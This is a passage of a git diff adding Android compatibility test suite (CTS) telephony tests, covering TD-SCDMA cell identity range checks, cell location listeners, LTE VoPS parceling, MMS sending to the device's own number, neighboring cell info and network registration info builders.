+    private void verifyCellIdentityTdscdma(CellIdentityTdscdma tdscdma, boolean isRegistered) {
+        String mccStr = tdscdma.getMccString();
+        String mncStr = tdscdma.getMncString();
+
+        // This class was added after numeric mcc/mncs were no longer provided, so it lacks the
+        // basic getMcc() and getMnc() - Dummy out those checks.
+        verifyPlmnInfo(tdscdma.getMccString(), tdscdma.getMncString(),
+                mccStr != null ? Integer.parseInt(mccStr) : CellInfo.UNAVAILABLE,
+                mncStr != null ? Integer.parseInt(mncStr) : CellInfo.UNAVAILABLE);
+
+        int lac = tdscdma.getLac();
+        assertTrue("getLac() out of range [0, 65535], lac=" + lac,
+                (lac >= 0 && lac <= LAC) || lac == Integer.MAX_VALUE);
+
+        int cid = tdscdma.getCid();
+        assertTrue("getCid() out of range [0, 268435455], cid=" + cid,
+                (cid >= 0 && cid <= CID_UMTS) || cid == Integer.MAX_VALUE);
+
+        // Verify tdscdma primary scrambling code information.
+        // Primary scrambling code should be within [0, 511].
+        int cpid = tdscdma.getCpid();
+        assertTrue("getCpid() out of range [0, 127], cpid=" + cpid, (cpid >= 0 && cpid <= CPID));
+
+        String mobileNetworkOperator = tdscdma.getMobileNetworkOperator();
+        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
+                        + mobileNetworkOperator,
+                mobileNetworkOperator == null
+                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+
+        int uarfcn = tdscdma.getUarfcn();
+        // Reference 3GPP 25.101 Table 5.2
+        // From Appendix E.1, even though UARFCN is numbered from 400, the minumum
+        // usable channel is 412 due to the fixed bandwidth of 5Mhz
+        assertTrue("getUarfcn() out of range [412,11000], uarfcn=" + uarfcn,
+                uarfcn >= 412 && uarfcn <= 11000);
+
+        // If the cell is reported as registered, then all the logical cell info must be reported
+        if (isRegistered) {
+            assertTrue("LAC is required for registered cells", lac != Integer.MAX_VALUE);
+            assertTrue("CID is required for registered cells", cid != Integer.MAX_VALUE);
+            assertTrue("MCC is required for registered cells", tdscdma.getMccString() != null);
+            assertTrue("MNC is required for registered cells", tdscdma.getMncString() != null);
+        }
+    }
+
+    private void verifyCellIdentityTdscdmaParcel(CellIdentityTdscdma tdscdma) {
+        Parcel p = Parcel.obtain();
+        tdscdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellIdentityTdscdma newci = CellIdentityTdscdma.CREATOR.createFromParcel(p);
+        assertEquals(tdscdma, newci);
+    }
+
+    private void verifyCellSignalStrengthTdscdma(CellSignalStrengthTdscdma tdscdma) {
+        verifyRssiDbm(tdscdma.getDbm());
+
+        // Dbm here does not have specific limits. So just calling to verify that it does not crash
+        // the phone
+        tdscdma.getDbm();
+
+        int asuLevel = tdscdma.getAsuLevel();
+        assertTrue("getLevel() out of range [0,31] (or 99 is unknown), level=" + asuLevel,
+                asuLevel == 99 || (asuLevel >= 0 && asuLevel <= 31));
+
+        int level = tdscdma.getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >= 0 && level <= 4);
+
+        if (mRadioHalVersion >= RADIO_HAL_VERSION_1_2) {
+            assertTrue("RSCP Must be valid for TDSCDMA", tdscdma.getRscp() != CellInfo.UNAVAILABLE);
+        }
+    }
+
+    private void verifyCellSignalStrengthTdscdmaParcel(CellSignalStrengthTdscdma tdscdma) {
+        Parcel p = Parcel.obtain();
+        tdscdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellSignalStrengthTdscdma newCss = CellSignalStrengthTdscdma.CREATOR.createFromParcel(p);
+        assertEquals(tdscdma, newCss);
+    }
+
+    // Rssi(in dbm) should be within [MIN_RSSI, MAX_RSSI].
+    private void verifyRssiDbm(int dbm) {
+        assertTrue("getCellSignalStrength().getDbm() out of range, dbm=" + dbm,
+                dbm >= MIN_RSSI && dbm <= MAX_RSSI);
+    }
+
+    private void verifyCellConnectionStatus(int status) {
+        assertTrue("getCellConnectionStatus() invalid [0,2] | Integer.MAX_VALUE, status=",
+            status == CellInfo.CONNECTION_NONE
+                || status == CellInfo.CONNECTION_PRIMARY_SERVING
+                || status == CellInfo.CONNECTION_SECONDARY_SERVING
+                || status == CellInfo.CONNECTION_UNKNOWN);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellLocationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellLocationTest.java
new file mode 100644
index 0000000..145d909
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellLocationTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.os.Looper;
+import android.net.ConnectivityManager;
+import android.telephony.CellLocation;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+import android.telephony.gsm.GsmCellLocation;
+import android.util.Log;
+
+import com.android.compatibility.common.util.TestThread;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class CellLocationTest {
+    private boolean mOnCellLocationChangedCalled;
+    private final Object mLock = new Object();
+    private TelephonyManager mTelephonyManager;
+    private PhoneStateListener mListener;
+    private static ConnectivityManager mCm;
+    private static final String TAG = "android.telephony.cts.CellLocationTest";
+
+    @Before
+    public void setUp() throws Exception {
+        mTelephonyManager =
+                (TelephonyManager)getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mCm = (ConnectivityManager)getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mListener != null) {
+            // unregister listener
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+        }
+    }
+
+    @Test
+    public void testCellLocation() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        // getCellLocation should never return null,
+        // but that is allowed if the cell network type
+        // is LTE (since there is no LteCellLocation class)
+        if (mTelephonyManager.getNetworkType() != TelephonyManager.NETWORK_TYPE_LTE) {
+            assertNotNull("TelephonyManager.getCellLocation() returned null!",
+                mTelephonyManager.getCellLocation());
+        }
+
+        CellLocation cl = CellLocation.getEmpty();
+        if (cl instanceof GsmCellLocation) {
+            GsmCellLocation gcl = (GsmCellLocation) cl;
+            assertNotNull(gcl);
+            assertEquals(-1, gcl.getCid());
+            assertEquals(-1, gcl.getLac());
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onCellLocationChanged(CellLocation location) {
+                        synchronized (mLock) {
+                            mOnCellLocationChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+
+                Looper.loop();
+            }
+        });
+
+        t.start();
+
+        CellLocation.requestLocationUpdate();
+        synchronized (mLock) {
+            while (!mOnCellLocationChangedCalled) {
+                mLock.wait();
+            }
+        }
+        Thread.sleep(1000);
+        assertTrue(mOnCellLocationChangedCalled);
+        t.checkException();
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/ComposeSmsActivity.java b/tests/tests/telephony/current/src/android/telephony/cts/ComposeSmsActivity.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/ComposeSmsActivity.java
rename to tests/tests/telephony/current/src/android/telephony/cts/ComposeSmsActivity.java
diff --git a/tests/tests/telephony/src/android/telephony/cts/HeadlessSmsSendService.java b/tests/tests/telephony/current/src/android/telephony/cts/HeadlessSmsSendService.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/HeadlessSmsSendService.java
rename to tests/tests/telephony/current/src/android/telephony/cts/HeadlessSmsSendService.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/LteVopsSupportInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/LteVopsSupportInfoTest.java
new file mode 100644
index 0000000..d388c52
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/LteVopsSupportInfoTest.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import android.os.Parcel;
+import android.telephony.LteVopsSupportInfo;
+import android.test.AndroidTestCase;
+
+public class LteVopsSupportInfoTest extends AndroidTestCase {
+    public void testLteVopsSupportInfo() {
+        LteVopsSupportInfo lteVops =
+                new LteVopsSupportInfo(LteVopsSupportInfo.LTE_STATUS_SUPPORTED,
+                LteVopsSupportInfo.LTE_STATUS_SUPPORTED);
+        assertEquals(0, lteVops.describeContents());
+        assertEquals(LteVopsSupportInfo.LTE_STATUS_SUPPORTED, lteVops.getVopsSupport());
+        assertEquals(LteVopsSupportInfo.LTE_STATUS_SUPPORTED, lteVops.getEmcBearerSupport());
+
+        Parcel lteVopsParcel = Parcel.obtain();
+        lteVops.writeToParcel(lteVopsParcel, 0);
+        lteVopsParcel.setDataPosition(0);
+        LteVopsSupportInfo checkLteVops =
+                LteVopsSupportInfo.CREATOR.createFromParcel(lteVopsParcel);
+        assertTrue(lteVops.equals(checkLteVops));
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/MmsPduProvider.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsPduProvider.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/MmsPduProvider.java
rename to tests/tests/telephony/current/src/android/telephony/cts/MmsPduProvider.java
diff --git a/tests/tests/telephony/src/android/telephony/cts/MmsReceiver.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsReceiver.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/MmsReceiver.java
rename to tests/tests/telephony/current/src/android/telephony/cts/MmsReceiver.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
new file mode 100644
index 0000000..7ca2334
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -0,0 +1,334 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.telephony.SmsManager;
+import android.telephony.TelephonyManager;
+import android.text.TextUtils;
+import android.util.Log;
+
+import com.google.android.mms.ContentType;
+import com.google.android.mms.InvalidHeaderValueException;
+import com.google.android.mms.pdu.CharacterSets;
+import com.google.android.mms.pdu.EncodedStringValue;
+import com.google.android.mms.pdu.GenericPdu;
+import com.google.android.mms.pdu.PduBody;
+import com.google.android.mms.pdu.PduComposer;
+import com.google.android.mms.pdu.PduHeaders;
+import com.google.android.mms.pdu.PduParser;
+import com.google.android.mms.pdu.PduPart;
+import com.google.android.mms.pdu.SendConf;
+import com.google.android.mms.pdu.SendReq;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test sending MMS using {@link android.telephony.SmsManager}.
+ */
+public class MmsTest {
+    private static final String TAG = "MmsTest";
+
+    private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
+    private static final long DEFAULT_EXPIRY_TIME = 7 * 24 * 60 * 60;
+    private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
+
+    private static final String SUBJECT = "CTS MMS Test";
+    private static final String MESSAGE_BODY = "CTS MMS test message body";
+    private static final String TEXT_PART_FILENAME = "text_0.txt";
+    private static final String sSmilText =
+            "<smil>" +
+                    "<head>" +
+                        "<layout>" +
+                            "<root-layout/>" +
+                            "<region height=\"100%%\" id=\"Text\" left=\"0%%\" top=\"0%%\" width=\"100%%\"/>" +
+                        "</layout>" +
+                    "</head>" +
+                    "<body>" +
+                        "<par dur=\"8000ms\">" +
+                            "<text src=\"%s\" region=\"Text\"/>" +
+                        "</par>" +
+                    "</body>" +
+            "</smil>";
+
+    private static final long SENT_TIMEOUT = 1000 * 60 * 5; // 5 minutes
+
+    private static final String PROVIDER_AUTHORITY = "telephonyctstest";
+
+    private Random mRandom;
+    private SentReceiver mSentReceiver;
+    private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
+
+    private static class SentReceiver extends BroadcastReceiver {
+        private final Object mLock;
+        private boolean mSuccess;
+        private boolean mDone;
+
+        public SentReceiver() {
+            mLock = new Object();
+            mSuccess = false;
+            mDone = false;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.i(TAG, "Action " + intent.getAction());
+            if (!ACTION_MMS_SENT.equals(intent.getAction())) {
+                return;
+            }
+            final int resultCode = getResultCode();
+            if (resultCode == Activity.RESULT_OK) {
+                final byte[] response = intent.getByteArrayExtra(SmsManager.EXTRA_MMS_DATA);
+                if (response != null) {
+                    final GenericPdu pdu = new PduParser(
+                            response, shouldParseContentDisposition()).parse();
+                    if (pdu != null && pdu instanceof SendConf) {
+                        final SendConf sendConf = (SendConf) pdu;
+                        if (sendConf.getResponseStatus() == PduHeaders.RESPONSE_STATUS_OK) {
+                            mSuccess = true;
+                        } else {
+                            Log.e(TAG, "SendConf response status=" + sendConf.getResponseStatus());
+                        }
+                    } else {
+                        Log.e(TAG, "Not a SendConf: " +
+                                (pdu != null ? pdu.getClass().getCanonicalName() : "NULL"));
+                    }
+                } else {
+                    Log.e(TAG, "Empty response");
+                }
+            } else {
+                Log.e(TAG, "Failure result=" + resultCode);
+                if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
+                    final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
+                    Log.e(TAG, "HTTP failure=" + httpError);
+                }
+            }
+            synchronized (mLock) {
+                mDone = true;
+                mLock.notify();
+            }
+        }
+
+        public boolean waitForSuccess(long timeout) {
+            synchronized(mLock) {
+                final long startTime = SystemClock.elapsedRealtime();
+                long waitTime = timeout;
+                while (waitTime > 0) {
+                    try {
+                        mLock.wait(waitTime);
+                    } catch (InterruptedException e) {
+                        // Ignore
+                    }
+                    if (mDone) {
+                        break;
+                    }
+                    waitTime = timeout - (SystemClock.elapsedRealtime() - startTime);
+                }
+                Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
+                return mDone && mSuccess;
+            }
+
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mRandom = new Random();
+        mTelephonyManager =
+                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    @Test
+    public void testSendMmsMessage() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+             || !doesSupportMMS()) {
+            Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
+            return;
+        }
+
+        Log.i(TAG, "testSendMmsMessage");
+        // Prime the MmsService so that MMS config is loaded
+        final SmsManager smsManager = SmsManager.getDefault();
+        smsManager.getAutoPersisting();
+        // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
+        try {
+            Thread.sleep(1000);
+        } catch (InterruptedException e) {
+            // Ignore
+        }
+
+        final Context context = getContext();
+        // Register sent receiver
+        mSentReceiver = new SentReceiver();
+        context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
+        // Create local provider file for sending PDU
+        final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
+        final File sendFile = new File(context.getCacheDir(), fileName);
+        final String selfNumber = getSimNumber(context);
+        assertTrue(!TextUtils.isEmpty(selfNumber));
+        final byte[] pdu = buildPdu(context, selfNumber, SUBJECT, MESSAGE_BODY);
+        assertNotNull(pdu);
+        assertTrue(writePdu(sendFile, pdu));
+        final Uri contentUri = (new Uri.Builder())
+                .authority(PROVIDER_AUTHORITY)
+                .path(fileName)
+                .scheme(ContentResolver.SCHEME_CONTENT)
+                .build();
+        // Send
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(
+                context, 0, new Intent(ACTION_MMS_SENT), 0);
+        smsManager.sendMultimediaMessage(context,
+                contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
+        assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
+        sendFile.delete();
+    }
+
+    private static boolean writePdu(File file, byte[] pdu) {
+        FileOutputStream writer = null;
+        try {
+            writer = new FileOutputStream(file);
+            writer.write(pdu);
+            return true;
+        } catch (final IOException e) {
+            return false;
+        } finally {
+            if (writer != null) {
+                try {
+                    writer.close();
+                } catch (IOException e) {
+                }
+            }
+        }
+    }
+
+    private byte[] buildPdu(Context context, String selfNumber, String subject, String text) {
+        final SendReq req = new SendReq();
+        // From, per spec
+        req.setFrom(new EncodedStringValue(selfNumber));
+        // To
+        final String[] recipients = new String[1];
+        recipients[0] = selfNumber;
+        final EncodedStringValue[] encodedNumbers = EncodedStringValue.encodeStrings(recipients);
+        if (encodedNumbers != null) {
+            req.setTo(encodedNumbers);
+        }
+        // Subject
+        if (!TextUtils.isEmpty(subject)) {
+            req.setSubject(new EncodedStringValue(subject));
+        }
+        // Date
+        req.setDate(System.currentTimeMillis() / 1000);
+        // Body
+        final PduBody body = new PduBody();
+        // Add text part. Always add a smil part for compatibility, without it there
+        // may be issues on some carriers/client apps
+        final int size = addTextPart(body, text, true/* add text smil */);
+        req.setBody(body);
+        // Message size
+        req.setMessageSize(size);
+        // Message class
+        req.setMessageClass(PduHeaders.MESSAGE_CLASS_PERSONAL_STR.getBytes());
+        // Expiry
+        req.setExpiry(DEFAULT_EXPIRY_TIME);
+        // The following set methods throw InvalidHeaderValueException
+        try {
+            // Priority
+            req.setPriority(DEFAULT_PRIORITY);
+            // Delivery report
+            req.setDeliveryReport(PduHeaders.VALUE_NO);
+            // Read report
+            req.setReadReport(PduHeaders.VALUE_NO);
+        } catch (InvalidHeaderValueException e) {
+            return null;
+        }
+
+        return new PduComposer(context, req).make();
+    }
+
+    private static int addTextPart(PduBody pb, String message, boolean addTextSmil) {
+        final PduPart part = new PduPart();
+        // Set Charset if it's a text media.
+        part.setCharset(CharacterSets.UTF_8);
+        // Set Content-Type.
+        part.setContentType(ContentType.TEXT_PLAIN.getBytes());
+        // Set Content-Location.
+        part.setContentLocation(TEXT_PART_FILENAME.getBytes());
+        int index = TEXT_PART_FILENAME.lastIndexOf(".");
+        String contentId = (index == -1) ? TEXT_PART_FILENAME
+                : TEXT_PART_FILENAME.substring(0, index);
+        part.setContentId(contentId.getBytes());
+        part.setData(message.getBytes());
+        pb.addPart(part);
+        if (addTextSmil) {
+            final String smil = String.format(sSmilText, TEXT_PART_FILENAME);
+            addSmilPart(pb, smil);
+        }
+        return part.getData().length;
+    }
+
+    private static void addSmilPart(PduBody pb, String smil) {
+        final PduPart smilPart = new PduPart();
+        smilPart.setContentId("smil".getBytes());
+        smilPart.setContentLocation("smil.xml".getBytes());
+        smilPart.setContentType(ContentType.APP_SMIL.getBytes());
+        smilPart.setData(smil.getBytes());
+        pb.addPart(0, smilPart);
+    }
+
+    private static String getSimNumber(Context context) {
+        final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
+                Context.TELEPHONY_SERVICE);
+        return telephonyManager.getLine1Number();
+    }
+
+    private static boolean shouldParseContentDisposition() {
+        return SmsManager
+                .getDefault()
+                .getCarrierConfigValues()
+                .getBoolean(SmsManager.MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION, true);
+    }
+
+    private static boolean doesSupportMMS() {
+        return SmsManager
+                .getDefault()
+                .getCarrierConfigValues()
+                .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
+    }
+
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/MockVisualVoicemailService.java b/tests/tests/telephony/current/src/android/telephony/cts/MockVisualVoicemailService.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/MockVisualVoicemailService.java
rename to tests/tests/telephony/current/src/android/telephony/cts/MockVisualVoicemailService.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/NeighboringCellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/NeighboringCellInfoTest.java
new file mode 100644
index 0000000..6e205c9
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/NeighboringCellInfoTest.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.telephony.TelephonyManager.NETWORK_TYPE_UNKNOWN;
+import static android.telephony.TelephonyManager.NETWORK_TYPE_EDGE;
+import static android.telephony.TelephonyManager.NETWORK_TYPE_GPRS;
+import static android.telephony.TelephonyManager.NETWORK_TYPE_UMTS;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.NeighboringCellInfo;
+
+import org.junit.Test;
+
+public class NeighboringCellInfoTest {
+    private static final int RSSI = 20;
+    private static final int CID = 0xffff;
+
+    @Test
+    public void testNeighboringCellInfo() {
+        int rssi = 31;
+        String location = "ffffffff";
+        NeighboringCellInfo nc;
+
+        // test constructor
+        nc = new NeighboringCellInfo(rssi, "FFFFFFF", NETWORK_TYPE_EDGE);
+        assertEquals(NETWORK_TYPE_EDGE, nc.getNetworkType());
+        assertEquals(rssi, nc.getRssi());
+        assertEquals(0xfff, nc.getLac());
+        assertEquals(0xffff, nc.getCid());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getPsc());
+
+        nc = new NeighboringCellInfo(rssi, "1FF", NETWORK_TYPE_UMTS);
+        assertEquals(NETWORK_TYPE_UMTS, nc.getNetworkType());
+        assertEquals(rssi, nc.getRssi());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getCid());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getLac());
+        assertEquals(0x1ff, nc.getPsc());
+
+        nc = new NeighboringCellInfo(rssi, "1FF", NETWORK_TYPE_UNKNOWN);
+        assertEquals(NETWORK_TYPE_UNKNOWN, nc.getNetworkType());
+        assertEquals(rssi, nc.getRssi());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getCid());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getLac());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getPsc());
+
+        // test parcel
+        nc = new NeighboringCellInfo(rssi, "12345678", NETWORK_TYPE_GPRS);
+        assertEquals(NETWORK_TYPE_GPRS, nc.getNetworkType());
+        assertEquals(rssi, nc.getRssi());
+        assertEquals(0x1234, nc.getLac());
+        assertEquals(0x5678, nc.getCid());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getPsc());
+
+        Parcel p = Parcel.obtain();
+        p.setDataPosition(0);
+        nc.writeToParcel(p, 0);
+
+        p.setDataPosition(0);
+        NeighboringCellInfo nw = new NeighboringCellInfo(p);
+        assertEquals(NETWORK_TYPE_GPRS, nw.getNetworkType());
+        assertEquals(rssi, nw.getRssi());
+        assertEquals(0x1234, nw.getLac());
+        assertEquals(0x5678, nw.getCid());
+        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nw.getPsc());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
new file mode 100644
index 0000000..427ede3
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+
+import android.telephony.AccessNetworkConstants;
+import android.telephony.NetworkRegistrationInfo;
+import android.telephony.TelephonyManager;
+
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class NetworkRegistrationInfoTest {
+
+    @Test
+    public void testDescribeContents() {
+        NetworkRegistrationInfo networkRegistrationInfo = new NetworkRegistrationInfo.Builder()
+                .build();
+        assertEquals(0, networkRegistrationInfo.describeContents());
+    }
+
+    @Test
+    public void testEquals() {
+        NetworkRegistrationInfo nri1 = new NetworkRegistrationInfo.Builder()
+                .setDomain(NetworkRegistrationInfo.DOMAIN_CS)
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_UMTS)
+                .setEmergencyOnly(false)
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .build();
+
+        NetworkRegistrationInfo nri2 = new NetworkRegistrationInfo.Builder()
+                .setDomain(NetworkRegistrationInfo.DOMAIN_CS)
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_UMTS)
+                .setEmergencyOnly(false)
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .build();
+
+        NetworkRegistrationInfo nri3 = new NetworkRegistrationInfo.Builder()
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_IWLAN)
+                .setEmergencyOnly(false)
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WLAN)
+                .build();
+
+        assertEquals(nri1.hashCode(), nri2.hashCode());
+        assertEquals(nri1, nri2);
+
+        assertNotSame(nri1.hashCode(), nri3.hashCode());
+        assertNotSame(nri1, nri3);
+
+        assertNotSame(nri2.hashCode(), nri3.hashCode());
+        assertNotSame(nri2, nri3);
+    }
+
+    @Test
+    public void testGetAccessNetworkTechnology() {
+        NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_EHRPD)
+                .build();
+        assertEquals(TelephonyManager.NETWORK_TYPE_EHRPD, nri.getAccessNetworkTechnology());
+    }
+
+    @Test
+    public void testGetAvailableServices() {
+        NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setAvailableServices(Arrays.asList(NetworkRegistrationInfo.SERVICE_TYPE_DATA,
+                        NetworkRegistrationInfo.SERVICE_TYPE_VIDEO))
+                .build();
+        assertEquals(Arrays.asList(NetworkRegistrationInfo.SERVICE_TYPE_DATA,
+                NetworkRegistrationInfo.SERVICE_TYPE_VIDEO), nri.getAvailableServices());
+    }
+
+    @Test
+    public void testGetDomain() {
+        NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setDomain(NetworkRegistrationInfo.DOMAIN_CS)
+                .build();
+        assertEquals(NetworkRegistrationInfo.DOMAIN_CS, nri.getDomain());
+    }
+
+    @Test
+    public void testRegistrationState() {
+        NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setRegistrationState(NetworkRegistrationInfo.REGISTRATION_STATE_HOME)
+                .build();
+        assertEquals(NetworkRegistrationInfo.REGISTRATION_STATE_HOME, nri.getRegistrationState());
+    }
+
+    @Test
+    public void testGetTransportType() {
+        NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .build();
